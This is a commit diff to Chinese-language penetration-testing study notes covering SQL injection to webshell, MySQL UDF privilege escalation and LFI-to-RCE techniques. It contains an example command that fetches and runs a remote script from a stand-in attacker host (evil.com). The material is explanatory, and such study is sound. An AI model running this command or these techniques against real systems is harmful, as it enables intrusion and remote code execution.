提交说明

Chapter13/13-6.md

@@ -6,8 +6,8 @@
 
 **渗透思路：**
 
-- 利用SQL注入读取网站的配置文件，获取文件上传路径
-- 利用SQL注入修改数据库中的上传路径或白名单，使其允许上传恶意文件类型（如 `.php`）
+- 利用 SQL 注入读取网站的配置文件，获取文件上传路径
+- 利用 SQL 注入修改数据库中的上传路径或白名单，使其允许上传恶意文件类型（如 `.php`）
 - 结合文件上传漏洞，上传精心构造的 `webshell`
 
 **2. 利用数据库的写权限进行命令执行**
@@ -35,8 +35,8 @@
 
 **渗透思路：**
 
-- **SQL注入提权**: 利用 SQL 注入获取数据库 `root` 权限
-- **上传UDF文件**: 通过 `load_file()` 或 `into dumpfile` 等方法，将恶意 UDF 库文件（例如`lib_mysqludf_sys.so`）上传到数据库服务器的插件目录
+- **SQL 注入提权**: 利用 SQL 注入获取数据库 `root` 权限
+- **上传 UDF 文件**: 通过 `load_file()` 或 `into dumpfile` 等方法，将恶意 UDF 库文件（例如`lib_mysqludf_sys.so`）上传到数据库服务器的插件目录
 - **创建自定义函数**: 在数据库中创建新的函数，例如 `sys_eval()`，该函数能够执行系统命令
 - **执行命令**: 调用 `sys_eval()` 函数，执行系统命令，例如 `select sys_eval('curl http://evil.com/shell.txt | sh')`
 - **注意**: 这种方法主要用于在数据库服务器上获取 `shell`，而不是在 Web 服务器上。但如果数据库服务器配置不当，可能通过 UDF 执行的命令来反向攻击 Web 服务器

Chapter13/13-7.md

@@ -0,0 +1,23 @@
+### LFI 怎么打 RCE
+
+**1. 日志文件注入**
+
+Web 服务器通常记录访问日志（如 Apache 的 `access.log`、`error.log`），攻击者可在 User-Agent、Referer 等头中插入PHP 代码，然后通过 LFI 包含日志文件，使代码被执行
+
+**2. 包含 `/proc/self/environ`**
+
+该文件包含当前进程的环境变量，User-Agent、Referer 等请求头会作为环境变量值写入。可通过 User-Agent 注入代码，然后包含该文件
+
+**3. PHP 伪协议**
+
+a) `php://filter` 配合文件上传
+
+通过 `php://filter/convert.base64-encode/resource=` 可读取源码，但若想写入 Webshell，常结合文件上传功能：先上传一个含有 PHP 代码的图片马，然后用 `php://filter` 读取并解码写入新文件
+
+b) `php://input`
+
+当 `allow_url_include=On` 时，可通过 `php://input` 执行 POST 数据中的代码
+
+c) `data://` 协议
+
+同样需要 `allow_url_include=On`，可直接在 URL 中嵌入代码